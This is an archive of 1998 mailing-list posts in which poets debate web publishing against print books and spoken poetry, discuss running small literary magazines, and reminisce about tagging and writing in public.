There's no doubt that the same technology that created computers and the Internet contributed to advanced photocopiers etc... What I'm arguing against is the supposed fluidity of the physical medium. The book is the essential communications medium for poetry. But it's not going to remain so. I can imaginge an argument thousands of years ago between minstrels and scribes. "The voice is the only true place for poetry, by Gar!" "Duh, Wake up Homey, Time to spread the word to more people." The question now is whether or not more is better. Proliferation for the sake of proliferation. What is the selective process under new mediums? Doe it change? Will our perceptions of the poem change in relation to new electronic mediums? My sense of the Interne t is that it is a vast advertising tool. It's a perfect medium for the advertising spectacle. A lot of presses use the web to support their books. Not a bad idea considering the present reality of market publishing pressures. But as a tool for presenting the poem, the Internet is only a shell of the book.

To: [redacted]

rather than issue a once-and-for-all edict re new media (as dale has just done, and he's in good company---three nobel laureates have made similar claims, as has andrei codrescu):

listen folks: if you could only SEE the strings attached to those hunks of paper out there we all call *books*...

well you CAN: just have a close look, real close now, and ask how that thing got in your hands, start to finish...

the web, the internet, is part of the digital world---same one that brings you (next generation) copier-printers, same one that brings you quark, same one that brings you tv, and poetics, and rice crispies (hey---think about it)... print and broadcast media combined becomes something else again, good and bad and in-between (it's human, for chrissakes)... turning one's back on this as a poet is worse than retro, now that so many poets have migrated into these regions... the access questions are not going to go away---EVER... anymore than the food questions will... perhaps broadsides will be the way to go in places where people can't find enough to eat---you tell me...

but the larger issues re poetry and poetix really do have to do with how to make do with what each has (access to and so forth)... now how about that, huh?---all on this list have (as mark p indicates) different levels of access... but we're all here, somehow, variously connected... now we can activate to get others online, however... but to argue against doing things with the online resources at

hand?---someone please explain to me how this is either necessary or desirable?... and how this is *not* a reactionary gesture, finally, in the face of those sundry realities that currently shape print publishing (nothing against the latter either)...

best,

joe

↑ Index

68. Michael J Kelleher
Atopia
Mon 2 Mar 1998

I'm writing this from a state university funded workstation in Buffalo, NY. Color me privileged.

Poets shouldn't hate the web. Luddism gets you arrested, but little else.

It seems to me an exciting time for poetry in that the web creates the potential for not simply new (neophilial) but different FORMS of poetry. The fact that the word e-poetry exists points to the realm of possibility. And isn't it just this possibility for techne-cal innovation that has driven twentieth century (if not all) poetry from the getgo? Electronic media are not the death of the body nor of the physical world. They are simply extensions. The body is and shall ever be here in the world and the voice and the eyes and the you-know-what... What will change is simply awareness of our physical parts in relation to one another and in relation to the world.

This is neither u- nor dystopia. It is Atopia. Placelessness. The physical body will not disappear, it will be everywhere at once.

Mike

↑ Index

69. Gabriel Gudding
Re: Web Communities, Poetry, Spicer & useful binaries
Mon 2 Mar 1998

On Mon, 2 Mar 1998, David Israel wrote:

> *[was, Re: Web Communities, Poetry, Spicer & useful binaries]*
>
> *am dropping into this outa context, sotosay (having not as yet perused the antecedents) -- but this begs for remark:*
>
> *Gabriel Gudding wrote,*

> *<< E-word is certainly different from ink-word. But both are themselves radically different -- different in kind, not degree -- from the spoken word. Trying to cultivate some new utopia in the tiny valley between e-word and ink-word strikes me as just more neophilia. . . . >>*
>
> *where's the necessity of either/or here?*
> *the dream-world doesn't replace the waking world, but helpfully supplements it.*
> *the e-world doesn't replace the ph-world, but does the same.*
> *the ink world, ditto re: the laryngeal world,*
> *ditto the world of unspoken thought, etc. -- if I may so opine --*

Well, 2 pts for picking out the irony. And no need, you're quite right, for these dang either/or's all the time: it's all, as they say, One. Om.

The binaries aren't as you say "necessary" at all -- but they're present, insofar as there are differences btw the two media, print and etext, all of which is implicit in some of the anteceding posts you say you missed.

To be serious, though, for a minute: the idea that epublication can become a reliable means of awakening or creating a new nontraditional community is a dubious one: all the talk of "meta-zines" or meta-meta zingy-zines or e-zippy neo-zines or zappy zingzangy zines sort of misses the pt that Spicer and so many others tried so hard to make: that _spoken_ poetry is the lifeblood of a community. As I said, a zingy zangy e-word or ink-word cannot compete with the singy-songy of the spoken word.

Gabriel Gudding

↑ Index

70. David Israel
Re: You Too Can Edit a LitMag (or can yo
Mon 2 Mar 1998

Dale writes,

<< What I'm arguing against is the supposed fluidity of the physical medium. The book is the essential communications medium for poetry. But it's not going to remain so. . . . >>

neither did it begin so --

it is / was one intermediate stage of

a larger / more fluid process

the published book being

a very new thing

the hand-copied individual book

being older / more ancient

what we assume as eternal

being a little blink

on the screen

or what now's a screen

& tommorw? -- a dream

d.i.

↑ Index

71. Patrick F. Durgin

Re: (or can you?)

Mon 2 Mar 1998

What IS this compulsion to see the printed page as
any more transcendent (in an aesthetic sense) than the screen, when each
are just a variation of the "POEM OBJECT" --
-- The medium & the message
interface in endlessly interesting ways, but have we learned nothing from
the surealists, for instance, who challanged the frame of poetry in this
way?

Patrick F. Durgin

` `
`
` ----->*<-----
` K E N N I N G|
` anewsletterof|
` poetry&poetic|
` s418BrownSt.#|
` 10IowaCityIA5|
` 2245USA\/\/\/|

On Mon, 2 Mar 1998, Miekal And wrote:

> *What I would like to know, tho, is what your feeling is about
> poetic works that are net dependent (or computer dependent via cdrom),
> works like hypertext, intermedia, soundpoetry, & animated poetries? Do
> these get discounted in this blanket condemnation of electronic poetics?*

> *digitbrain*

↑ Index

72. **Joe Ahearn**
Re: eletronic kisses
Mon 2 Mar 1998

I'm not sure the current dialog condemning the online reading experience is useful in practice. It is just too damned easy to print what you want to read and take it with you.

Adobe Acrobat enables the writer or publisher to distribute a book of any size, formatted in any way, to the Web, mail, ftp, etc. AT NO COST. The person who wants to read this "book" in paper format can print the book quickly and easily and read it EXACTLY as it was formatted, whether or not his/her computer even supports the fonts and formatting used in the Acrobat file. The paper file printed IS a book if the author makes it so.

Similarly, Web pages can be printed very easily. Internet Explorer allows one to print not only the web page one is looking at, but also all related Web pages. So one can print an entire Web site (read: book, magazine, broadside, etc.) very quickly and with almost no mental work.

I read a great deal of stuff online. I recently read online all 50 of Sheila Murphy's fine haibun on Bill Slaughter's web site. That is, I sat there and read them all off the computer. It was no harder or easier than reading them from a paper copy. If I wanted a paper copy, all I had to do was print one and take it with me to the park, couch, or other favored reading spot.

I think we should all be honest and just say that we prefer to read books, if we do. I do often. I see no reason to argue about whether the 'Net is dangerously impinging on one's right to read toner on a page. It isn't. If you prefer to read paper, in most cases you can easily, quickly, and cheaply. Enough said.

I think the more interesting discussion has to do with the availability of 'Net technology (read: computers, modems, software, printers) to "everyone." Obviously, if you can't afford a computer, it's hard to participate in this Brave New World. And if you don't know enough to hack a little HTML, you're effectively disenfranchised from the electronic printing and distribution methods.

ON THE OTHER HAND, it makes just as much sense to argue that the truly poor don't have the money to buy books of poetry (usually $12-$15 new), or literary journals (usually $5-$10) either. And "they" certainly don't have the minimum investment required to start up and maintain a printed literary journal, which costs considerably MORE, by the way, than the electronic counterpart.

If you are really concerned with whether the poor can read literature, why not drop prices on your books and magazines? Or give them away free? Or offer to donate money and time to putting out a magazine run by those without the money and skill to do so? My magazine, VEER, or any e-zine, will be FREE to anyone who can get to it with a computer. It will be free passed hand to hand.

Currently one can get 486 computers virtually free. Slow modems can be had for $20. This very small investment opens up the WORLD of the Internet, where almost everything is FREE. Can an equal investment gain someone equal access to the world of print media, where almost everything COSTS? Perhaps a good question for the print-mad to ponder.

I like books. I collect first editions. I make a living as a professional writer. But I don't for a moment suspect that someone truly in need can afford my indulgences. He or she is left, mostly, with the library. God bless libraries. And while he or she, this mythical "poor" person, is at the library, checking out Pound and Williams by the crate, I hope they'll take a few minutes to read a few literary e-zines, which are also FREE.

Joe Ahearn

[redacted]

↑ Index

73. Christina Fairbank Chirot

Re: today's anagram/tagstagstags

Mon 2 Mar 1998

Yes this is a good essay-- I got into visual poetry actually via years of tagging (not to mention getting into trouble!) and it influences my work a lot still, as i use spray paints for my works and materials found in the street once tagging saved perhaps my life-- i was painting in a dimly lit alley in Boston when i saw on the wall two shadows growing larger and larger--obviously two people aprroaching--when the shadows were very large i spun to face one man with a gun and another with fists drawn back--i sprayed them in the eyes and ran off while they screamed-- in a talk i gave at Edmonton "Eyerhymes" conference last summer I spoke of tagging in relation to visual poetry and showed some examples tagging is maybe the oldest form of writing in a sense, when you think of cave paintings and petroglyphs obviously, tagging is condemned because it interferes with private property (though much of it is property that is condemned!)

there was a brief period in the early eighties when tagging was in movies and in museums--(related to hiphop esp.)--PBS even did a special on

the great old "bombing"days in NYC--!!! provided a visual performative interrelated language along with hip hop beats--of street life making its own documents, rather than accept the ones written for those streets by others--

one of the best taggers in Milwaukee died a few weeks ago--fell through roofing on a condemned building--

as one of the world's oldest artforms--it will continue--always--

dave baptiste chirot

On Fri, 27 Feb 1998, robert drake wrote:

> *karl young wrote convincingly on tagging in th context of vispo (& also mailart and book art) in his postface to bob harrison & nicholas frank's _context: a survey of recent visual poetry_ (1995; hermetic gallery, milwaukee)...*
>
> *Tagging is great, on the Amtrack north from Manhattan to Albany just around the beginning of the Bronx are some great tags, visual and poetic, yet at the same time criminal?*
> *-poetry on walls, colorful, often moving (on trains) blurred, short and to the point(like Creeley) , criminal (?)*
> *-In the parking lot of Buffalo's Albright -Knox art gallery I watched someone tag one of the moving trucks all white and clean with a sparkling new message, As the security guard chased that person down Elmwood Ave, I remember (watching, hiding behind the bus stop) thinking the tag was better than anything inside-cherrio folks-J michel basquiat would have liked that.*

↑ Index

74. Henry Gould

Re: eletronic kisses

Mon 2 Mar 1998

I just want to concur with Joe. This seems like the most sensible post yet on this issue. (& where would <<<I>>> be without the magnifique Mudlark.) Nor do the options Joe is describing make xerox mags any more marginal or any less precious than they are already. - Henry Gould

On Mon, 2 Mar 1998 14:40:14 -0600 Joe Ahearn said:
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>If you are really concerned with whether the poor can read literature, why
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>
>
>
>
>Joe Ahearn
>_____
>[redacted]
>
>
>

↑ Index

75. William Marsh

Re: Web Communities, Poetry, Spicer & useful binaries

Mon 2 Mar 1998

At 03:34 PM 3/2/98 -0500, you wrote:
>To be serious, though, for a minute: the idea that epublication can become
>a reliable means of awakening or creating a new nontraditional community
>is a dubious one: all the talk of "meta-zines" or meta-meta zingy-zines or
>e-zippy neo-zines or zappy zingzangy zines sort of misses the pt that
>Spicer and so many others tried so hard to make: that _spoken_ poetry is
>the lifeblood of a community. As I said, a zingy zangy e-word or ink-word
>cannot compete with the singy-songy of the spoken word.
>
>Gabriel Gudding

i guess the same can be said about "maga-zines" too / and even more seriously, who's competing? let's not insist on binaries in order to argue against them

best,
bill

- -
William Marsh
PaperBrainPress
Voice & Range Community Arts
National University
[redacted]
http://www.dtai.com/~bmarsh
snail: 1860 PB Dr. #4
San Diego, CA 92109
- -

↑ Index

76. Dale M Smith
(or can you?)
Mon 2 Mar 1998

Digitbrain:

I'm not attentive to the kinds of poetry you're speaking of. But I think that a poetry of the web will be something different than that of the book, or that of the human memory. The medium shapes the poem in fundamental ways. There is no such thing as a poem, that I can see, without some sort of medium through which it reaches away from one person (or machine) to another. Call me an old fuddyduddy, but I'm attached to the textures, smells and visual elegance of the page. A letterpressed volume of verse somehow conveys an immediacy electronic media will never approach. Maybe we'll have to rethink our relationship to the poem, think of it w/a more ephemeral attitude, a passing stranger with whom we take a moment's delight. The vacuous pleasure of e-media does make me a bit anxious, and my soapbox is a too rickety. Still, the Internet has not convinced me of its possibly human potentials. I see it primarily as an extension of commercial rackets.

Blockhead.

To: [redacted]

Dale M Smith wrote:

> E-publications suck. But it looks like the future, in many ways, for
 poetry's

> market. Stillthe web is a medium every poet should hate. It limits the value
> of physical production. It limits the mobility of the product, tying the
> reader to one location, for me, often at work. It lacks the correlating
> physical materials that provides support to the word, reminding us of poetry's
> very tactile relation to the world, not to our own inner subjectivity. It
> promotes every kind of self indulgence becaue it is easier to reproduce
> inferior work. If you have to set type, line up each page, produce it, copy
> it and bind it you're gonna want to present poetry of the highest quality. On-
> line you might be tempted to publish lesser works because there is less
> time and money invested in it.

Dale, Im charmed by the soapbox yr standing on, & thank gutenberg that there will always remain some traditionalists out there. I think your position is remarkable in light of what transpires minute by minute on the web. What I would like to know, tho, is what your feeling is about poetic works that are net dependent (or computer dependent via cdrom), works like hypertext, intermedia, soundpoetry, & animated poetries? Do these get discounted in this blanket condemnation of electronic poetics?

digitbrain

↑ Index

77. Gabriel Gudding

Re: Atopia

Mon 2 Mar 1998

On Mon, 2 Mar 1998, Michael J Kelleher wrote:

> *I'm writing this from a state university funded workstation in Buffalo, NY. Color me privileged.*
>
> *Poets shouldn't hate the web. Luddism gets you arrested, but little else.*

One shouldn't hate, period. The day that Luddism gets one arrested will be the day that Luddism is Necessary.

> *It seems to me an exciting time for poetry in that the web creates the potential for not simply new (neophilial) but different FORMS of poetry.*

Agreed. But the concern that has been expressed here is about hte notion that associates Communities with No-placeness. There's a certain frisson found in yoking the two ideas, sure. But Internet Community will never be anything

more than an oxymoron. Oxymorons are fun. But they're not what they say they are: we like them because they're wacky and ironic yokings, not because they pretend to be what they say they are. We can all pretend, as hard as we are able, that one can have an Atopian Community. It's a nice idea, but that's all. Atopia is another name for hell. Read the ol Milton. Or don't they do that in Buffalo?

If no readings took place at Black Mountain, you wouldn't have the Black Mountain School. STop all readings in Buffalo for two semesters and see what happens to the morale and the mettle of that program: it'll puff into powder. The keyboard is nothing without that larynx above it.

Gabriel Gudding

↑ Index

78. SSSCHAEFER
magazine concept
Mon 2 Mar 1998

RE: What to do

Intended audience: the lurkers and the lonely

I've been thinking a lot about the concept of the magazine as I have just put out my second issue of Rhizome. I believe a distinction should be made between books that include more than one author and magazines. Magazines should be like snap shots of what work is currently being done. They should not be like museums (Arshille, Rhizome). The art should be current and not from some recent gallery showing. Preferably, made for the issue.

If anyone remembers Invisible City (I was two) that Paul Vangelisti and John McBride did in San Francisco/LA during the seventies, they managed to put a lot work on one page, but their design was exquisite and never looked cluttered. I don't think magazines should be read the same way a book is. I also regret that times are such that it is difficult to produce any magazines at all.

When Evan Calbi and I started Rhizome, we knew almost nothing about small presses and lit magazines. We had to go out and talk to people who had done them and not until then did it makes sense to me why anyone would bother to start a poetry magazine. Los Angeles is a grissly national forest so even Sun&Moon can get covered in the under brush. But the literary magazine community is truly awe inspiring. What very unrich people are doing that is high quality. If not magazines, a series of chap books like Guy Bennett is doing with Seeing Eye (see www.litpress.com) This guy makes his living type- setting for Sun & Moon and teaching French. Paul Vangelisti's Ribot is the sharpest magazine going in terms of design and has won awards, but he is a part-time art

school teacher. Pays for Ribot by writting ad copy. John Lowther's Syntactics. Chris Reiner's Witz. Mark Presjnar's Misc. Proj.

At any rate, the way Rhizome is paid for is by bringing in lots and lots of people to take over small tasks. And to chip in with money. This makes for disorganization and plenty of mistakes. It also makes us get into a room together and talk about literature, writing, methods, design, type-setting.

I think this is sort of group activity is what Chain might be about at this point as I know they are relying on donations and subscriptions. It definitely seems to be this way with Brian Lucas' Angle.

Those writers who are looking for a community might find that this kind of publishing gets you in contact with people who think like you do and who also challenge you. I spent $20K on an MFA and never met a sole who had read Stein. I started a magazine knowing no one and now I get letters every day from people who are doing the same thing, thinking about the same things, telling me how to think better. As one who is leery of academia, I find that getting to know various pubishers is a an excellent way to get an intellectual life. Sometimes, I think the publishers are the ones most passionate and those are the people I want to know.

I meet or correspond with lots of younger people who ask me how they can get their poems into magazines or whether or not Creeley will respond to their letter. I tell them that if they are serious about those things, they should get a magazine going in whatever way they can. The rest will fall into place.

Oh well enough cheer leading, there are bills to pay.

Standard Schaefer

↑ Index

79. MAYHEW
the medium is the massage
Mon 2 Mar 1998

---

or is it?

(question with respect to recent discussion on publishing on the web)

Jonathan Mayhew
Department of Spanish and Portuguese
University of Kansas
[redacted]

↑ Index

80. Joe Amato/Kass Fleisher

Re: You Too Can Edit a LitMag (or can yo

Mon 2 Mar 1998

---

as david i. suggests, a little familiarity with the history of the printed word goes a long way... may i recommend jay bolter's (now somewhat dated and a bit evangelical) _writing space: the computer, hypertext, and the history of writing_ (lawrence erlbaum, 1991) to help flesh out the history of writing---quickly...

but in any case, i'll make a stronger claim: that there are things you can do online wrt poetry and poetix that you plain CAN'T do with books... we already know vice versa is true... but owing to this medium's relative newness, it's not clear yet what all those things are, or might be... and i fully anticipate, as with any new technology, new needs and new problems to rear their ugly heads...

so if one wantsa use this medium to critique this medium, i'm all for it... but critique is not simply skepticism---it's informed by, among other things, some careful consideration re what's going on... sayeth the fucking professor of english, if you like... and just saying something sucks---dale---is not what i call careful consideration... i mean, if you're trying to start a flamewar, that's one way... if you're rendering your aggregate judgment after carefully weighing the issues, i guess i'll have to take your word for it... didn't sound like it though, not to me...

here's andrei codrescu, the title essay from _the disappearance of the outside: a manifesto for escape_ (addison-wesley, 1990):

"The electronic media, however, operate differently. Simultaneous, auditory, global, tribal, connecting us all to the only job left: moving information. Work disappears. It will be done by the machines. But which machines? The *lesser* machines. We, the superior machines, will work at becoming more of a *single* organism. And more of a *marginal* organism. The individual dies for the species. The original program. Finis. But which species? Theirs or ours? McLuhan's vision makes no room for the unpredictable, the asystemic, the imaginary. It is a closed and closing circuit. It cannot foresee its overthrow, and it knows nothing of the operation of mystery in the world. It is not demiurgic, it is cooperative. It conforms to its own ineluctability. The State and rationalism (religion before that) have always attempted and never succeeded in passing themselves off as irrevocable, necessary, and ineluctable. It is the task of technology as the newest member of this directorate to finish the job." (201-2)

he concludes the essay, and the book, with this:

"There are two global realities, resembling in a nonrepresentational way the old programmatic realities of East and West: the imaginary electronic globe, and

the poetic-specific-eco community. "The poet's job is to short-circuit the imaginary globe." (207)

i think codrescu is wise to be cautious, but his binaries are a real problem for me, for lotsa reasons... i suspect others'll feel this way too...

best,

joe

↑ Index

81. SSSCHAEFER
Query: Mobilio
Mon 2 Mar 1998

Anyone who has either Albert Mobilio's address (home or e) or George Kalamaras' please back channel me with the info. In dire need. Thanks

↑ Index

82. David Israel
pair o' ducks
Mon 2 Mar 1998

Joe Amato writes --

<< . . . so if one wantsa use this medium to critique this medium, i'm all for it... >>

me too, to wit:

the proper forum to rail against cyberspace? -- cyberspace

thus: you shd. see my paperbook

savaging / disparaging the inkprint word

then I'll give me a speech whose vituperative gist

will be the patent bootlessness of speaking

till finally I sigh & think to meself

"ah, what did I ever gain by thinking?"

d.i.

↑ Index

83. Maria Damon

Re: tomorrow's bananagram (was today's etc)

Mon 2 Mar 1998

---

joe austin who currently teaches at bowling green state u has a terrific book coming out (columbia?) on the sociology of grafitti in those golden nyc hip hop daze...

At 2:57 PM -0600 3/2/98, Christina Fairbank Chirot wrote:
> Yes this is a good essay--
> I got into visual poetry actually via years of tagging (not to
>mention
>getting into trouble!) and it influences my work a lot still, as i use
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> once tagging saved perhaps my life--
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>> >watching, hiding behind the bus stop) thinking the tag was better than
>> >anything inside-cherrio folks-J michel basquiat would have liked that.
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↑ Index

84. William Burmeister Prod

Re: electronic kisses

Mon 2 Mar 1998

EE Cummings once said something like, "If you like my poems, let them follow behind you as you walk in the evening." Hard to do though if the plug gets pulled thus the portable electronic book, which would likely cost quite a bit more than most paper/glue versions (not to mention the upkeep for batteries, etc). There is alot more on the non-aesthetic side of this issue. Consider the run-away nature of profit taking in business today along with rising costs of technology, marketing, materials, and energy. The inevitable increase in the price of monthly on-line service year to year. The ever looming potential for new taxes on internal usage (witness the past debate on the "bit tax"). Let's not forget the threat of censorship -- government, corporate, or whoever(internet snoop-doggydogs working for corporations or government). I am not an anti-technology

technologist, but the cost-benefit just doesn't exist yet for computer poetry OVER poetry on the paper page (will it ever?) Explore/exploit computer technology for the purposes of poetry? Yes by all means. And by all means remain open yet sceptical to what can happen to what we have. Someone on this list said earlier today, "enjoy it while it's free." As for Henry G.'s interesting take on this, I am reminded of the conclusion of Ray Bradbury's _Fahrenheit ..._ where a secret society of book lovers hides itself in the woods from the book-burning authorities. In the absense of any books, they recite their favorite written works to themselves completely from memory.

William Burmeister

↑ Index

85. Steve Tills
Re: (or can you?)
Mon 2 Mar 1998

Head:

A poem is made of w,o,r,d,s, and a person is made of tongues, and a machine makes more merry the meet market of spit?

Spatehide

Dale M Smith wrote:

> *Digitbrain:*
>
> *I'm not attentive to the kinds of poetry you're speaking of. But I think that a poetry of the web will be something different than that of the book, or that of the human memory. The medium shapes the poem in fundamental ways. There is no such thing as a poem, that I can see, without some sort of medium through which it reaches away from one person (or machine) to another. Call me an old fuddyduddy, but I'm attached to the textures, smells and visual elegance of the page. A letterpressed volume of verse somehow conveys an immediacy electronic media will never approach. Maybe we'll have to rethink our relationship to the poem, think of it w/a more ephemeral attitude, a passing stranger with whom we take a moment's delight. The vacuous pleasure of e-media does make me a bit anxious, and my soapbox is a too rickety. Still, the Internet has not convinced me of its possibly human potentials. I see it primarily as an extension of commercial rackets.*
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> *digitbrain*

↑ Index

86. Matthew Kirschenbaum

what's new? (was: Re: You Too Can Edit a LitMag (or can you)

Mon 2 Mar 1998

Joe Amato sez:

> *but in any case, i'll make a stronger claim: that there are things you can do online wrt poetry and poetix that you plain CAN'T do with books... we already know vice versa is true... but owing to this medium's relative newness, it's not clear yet what all those things are, or might be... and i fully anticipate, as with any new technology, new needs and new problems to rear their ugly heads...*

I dunno Joe, that noise about the new sounds a bit tinny to me; it's just so _reflexive_. I mean, what's "new"? -- Pinsky, Rosenberg, Joyce, probably others, have been writing in electronic spaces for ten years now . . . I'm tempted to argue that we have a surprisingly _clear_ sense of what _a_ digital poetics is or can be, at least at this particular moment, at least as that poetics has been self-consciously articulated by certain of its practicioners -- which is not to say that said poetics won't expand or shift or dissolve, but where is the poetics that

won't? I'm not really taking exception to anything you write -- certainly not aligning myself with the web sux crowd! Quite the opposite really, I'm marveling at how much electronic writing there _is_ out there -- now -- new and not-so-new -- lying around on disks and drives and wondering if there comes a point where what's new doesn't eclipse what we could _know_ from thinking/writing about/into what we have -- what's been going around.

Or as I've suggested in other e-places, there's going to come a time, and sooner than we think, when the challenge of preserving/porting these earliest, oldest e-texts -- say _afternoon_ or _Mindwheel_ -- will force a *spectacular* engagement of scholary editing and the art of the hack. Best, Matt

========== Matthew G. Kirschenbaum
University of Virginia [redacted] or [redacted] Department of English
http://www.iath.virginia.edu/~mgk3k/ The Blake Archive | IATH

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87. **trace s. ruggles**
Re: Writing in Public
Mon 2 Mar 1998

Hi All,

I haven't posted here in a very long time, but I've got some input on this...

When I was at Naropa, I used to hang out with all the Buddhist studies folks a lot. They loved to get drunk and write exquisite corpses in whatever bar was available. They probably never wrote anywhere else, but they had a ball doing it. I read/performed some of these poems and it usually went over pretty well as long as I introduced it as being a poem by "5 buddhists and a poet". Maybe Boulder was a little different than other towns (in fact, I'm sure it is, now being in Portland), but the other people in the bar wouldn't even give us a second look when they saw us writing and passing around sheets of paper, laughing. I guess this wasn't so out-of-the-ordinary.

Also, a couple of times, when Naropa would have some bazaar, I'd set up a booth with a big sign reading "FREE POETRY", and would sit there waiting for people to approach me. Most of them would ask me, "what do you mean, 'free poetry'?", and I'd tell them to give me a word or a phrase and I'd write a poem for them. I wouldn't always use the word they gave me, but I'd let their 'essence' direct me in the poem. I'd write it just once, right there on one page, filling it up however I saw fit. Sometimes I was 'right on', in the sense that when they read it something would wake up in them. Other times, they'd just shrug their shoulders and move on.

This all felt very public to me, but a very private exchange, especially with the free poetry booth. So, it was a performance, I guess in 'process', but not everyone would see/hear the 'product'.

Trace

At 5.07 am -0800 3/2/98, you wrote:
>In its court-affiliated forms and in numerous other social contexts
>traditional Chinese poetry was very much a performance art. A bunch of
>courtier poets would be trailing the Emperor and when he would propose a
>topic, everyone would compete to come up with the best poem.
>
>On a somewhat lower social level lots of poetry would be composed on the
>tongue in bars at parties, and frequently written up on the wall by the
>author or whoever had the best calligraphy.
>
>Part of the point of inviting Li Bo (Li Po) over for drinks and dinner
>was to watch him come up with a poem, and compete with the other poets
>in the neighborhood.
>
>Of course this is writing in public in a different sense from Duncan,
>Whalen or Blackburn on the bus, where they are outside and in a public
>space, taking in but not necessarily displaying themselves in public. G.
>Apollinaire is an earlier example, e.g. Lundi Rue Christine. Edwin
>Denby's aesthetic was "in public in private" and might be considered to
>devolve from the same issue.
>
>Can one be both, writing in a public location privately and at the same
>time performing publicly? Maybe the second poem in my chapbook "At
>Baoshan" would be an example.

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88. Gabriel Gudding

Re: Web Communities, Poetry, Spicer & useful binaries

Mon 2 Mar 1998

On Mon, 2 Mar 1998, William Marsh wrote:

> *At 03:34 PM 3/2/98 -0500, you wrote:*
> *To be serious, though, for a minute: the idea that epublication can become*
> *a reliable means of awakening or creating a new nontraditional community*
> *is a dubious one: all the talk of "meta-zines" or meta-meta zingy-zines or*
> *e-zippy neo-zines or zappy zingzangy zines sort of misses the pt that*
> *Spicer and so many others tried so hard to make: that _spoken_ poetry is*
> *the lifeblood of a community. As I said, a zingy zangy e-word or ink-word*

> *cannot compete with the singy-songy of the spoken word.*
>
> *Gabriel Gudding*
>
> *i guess the same can be said about "maga-zines" too / and even more seriously, who's competing? let's not insist on binaries in order to argue against them*
>
> *best,*
> *bill*

bill, The same can in many cases _not_ be said about magazines (way back in NE America, prior to the new stamp rate, magazines were an extremely, like, local phenomenon: it was the _physical_ presence and nearness (rabid love affairs, thudding paperweight battles, and in one case an actual leg-biting [no dogs involved: author bit editor]) that made them go): physical nearness is sort of important to maga-zines. The curious thing about maga-zines is that a _physical_ community creates them. Meta-zines just don't have this: they have nothing to do with "community." Community, I guess I'm arguing, is a totally physical phenomenon; can't be numinous and stuff.

When it comes to maga-zines the community is already extant: the mag comes _from it_. Community is a PHYSICAL thing. Now I know that a lot of folks have a problem with the idea of Physicality. Physicality is something we've wrestled with since, like what?, Plotinus, Augustine? further back than that? It became THE bad bugaboo with Plotinus. So much talk about the internet and the great "body that is all one" (aum) is just more of the same old neo-platonic hopes, but with some new rabidity, zippy irony, and really fun binaries. Not arguing gainst binaries at all: they're great fun and quite useful dingies. So, I hate to say this but there's some historical residue of neo-platonic prudery and christian humanistic prudery clinging to the common e-zippy boosterism that flows from certain certains. Spicer was right to associate New Critics & denudedness & non-person-ness & boredom. NOt saying anything here about whether poetry works well on screen or not or if books are better etc etc: saying that we ought not place epimethean hopes in a promethean vessel.

Gabriel Gudding

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89. Michael J. Kelleher
Re: Atopia
Mon 2 Mar 1998

Gabriel Gudding wrote:

> *We can all pretend, as hard as we are able, that one can have an Atopian Community.*
> *It's a nice idea, but that's all. Atopia is another name for hell.*

I don't recall yoking the words "atopia" and "community" together. I meant simply to say that here in this placelessness you read my voice and you might call that poetry. Might not. That's up to you. But you see it speaking to you on the screen and thus an extension of me here in Buffalo touches you in Indiana. Without the web you might (gratefully) never see my voice nor I (sadly) yours. Granted, it is not the voice of the poet speaking into your ear but neither is it not not the voice. It is the voice you see. Relations between physical parts physical beings change and our senses react to different sensations differently. That's the neo in it.

I like to read your voice. It's nice. Soothing, with a gentle mocking wit.

Atopic Synaesthesia has a nice ring to it.

> *Read the ol Milton. Or don't they do that in Buffalo?*

Milton is forbidden in Atopia. We read Dante and wear hairshirts on thursdays.

> *If no readings took place at Black Mountain, you wouldn't have the Black*
> *Mountain School. STop all readings in Buffalo for two semesters and see*
> *what happens to the morale and the mettle of that program: it'll puff into*
> *powder. The keyboard is nothing without that larynx above it.*

It's true it's true.

But have you heard the sound files on the epc? It's the next best thing to spending 500 dollars to get on a plane to hear the Buffalonian larynxes. And it's free!

Atopia is not every place.
Atopia is not some place.
Atopia is not no place.
Atopia is not place.

Atopia is placelessness.

Truly,

#1332649785

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90. laura and jeff

web publication, etc.

Mon 2 Mar 1998

---

i've been following the thread relating to this with interest...

methinks it comes down to this:
the web is good for wide opportunity and collective action. but the fact is:
we are living in a world that is quickly alienating itself from itself via
any source it can. the web is adding to this is two major ways:
1) it gives the guise of communication, but with out any
kind of physical relationship between those
"communicating" with
each other. so no true communication can take place due
to a lack of viceral stimulation between the people
communicating (no body lang, eye contact, hearing a
voice, etc).
2) with all of the voices crying out, no one is being heard.
it is not hard to see how these points relate to web-publication. esp when
you add in the fact that web related things are not "real" in the sense that
they are only bytes of information conveyed over energy waves. this does not
stand up well to an actual page or a poets voice. and tho the networking
possibilities are stagering, the easy out provided by the internet is
destroying human social interaction. and with the destruction of social
interaction, comes the destruction of art.
yet, here i am.
jeff.

> There are no hierarchies, no infinite, no such many as mass,
> there are only
> eyes in all heads
> to be looked out of
>
> -charles olson, from "letter 6" (of the maximus
> poems)

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91. laura and jeff

Re: Writing in Public

Mon 2 Mar 1998

---

it never even occured to me that writting in public would be discussed. it's always seemed natural to me. i carry a notebook and a pen in my pocket at all times. jeff.

>In its court-affiliated forms and in numerous other social contexts
>traditional Chinese poetry was very much a performance art. A bunch of
>courtier poets would be trailing the Emperor and when he would propose a
>topic, everyone would compete to come up with the best poem.
>
>On a somewhat lower social level lots of poetry would be composed on the
>tongue in bars at parties, and frequently written up on the wall by the
>author or whoever had the best calligraphy.
>
>Part of the point of inviting Li Bo (Li Po) over for drinks and dinner
>was to watch him come up with a poem, and compete with the other poets
>in the neighborhood.
>
>Of course this is writing in public in a different sense from Duncan,
>Whalen or Blackburn on the bus, where they are outside and in a public
>space, taking in but not necessarily displaying themselves in public. G.
>Apollinaire is an earlier example, e.g. Lundi Rue Christine. Edwin
>Denby's aesthetic was "in public in private" and might be considered to
>devolve from the same issue.
>
>Can one be both, writing in a public location privately and at the same
>time performing publicly? Maybe the second poem in my chapbook "At
>Baoshan" would be an example.
>

There are no hierarchies, no infinite, no such many as mass,
there are only
eyes in all heads
to be looked out of

-charles olson, from "letter 6" (of the maximus poems)

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92. Chrsmccrry
Poems for the Millennium
Mon 2 Mar 1998

I was wondering if there's any news on the second volume of Poems for the Millennium. Is it still in the works? Any info would be appreciated...

Thanks--

Chris

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93. Karen Kelley
Re: You Too Can Edit a LitMag (or can you?)
Mon 2 Mar 1998

Joe Amato/Kass Fleisher wrote:
>
>but to argue against doing things
> with the online resources at hand?---someone please explain to me how this
> is either necessary or desirable?... and how this is *not* a reactionary
> gesture, finally, in the face of those sundry realities that currently
> shape print publishing (nothing against the latter either)...
>
>
It's a shame to see artists rejecting new possibilities.

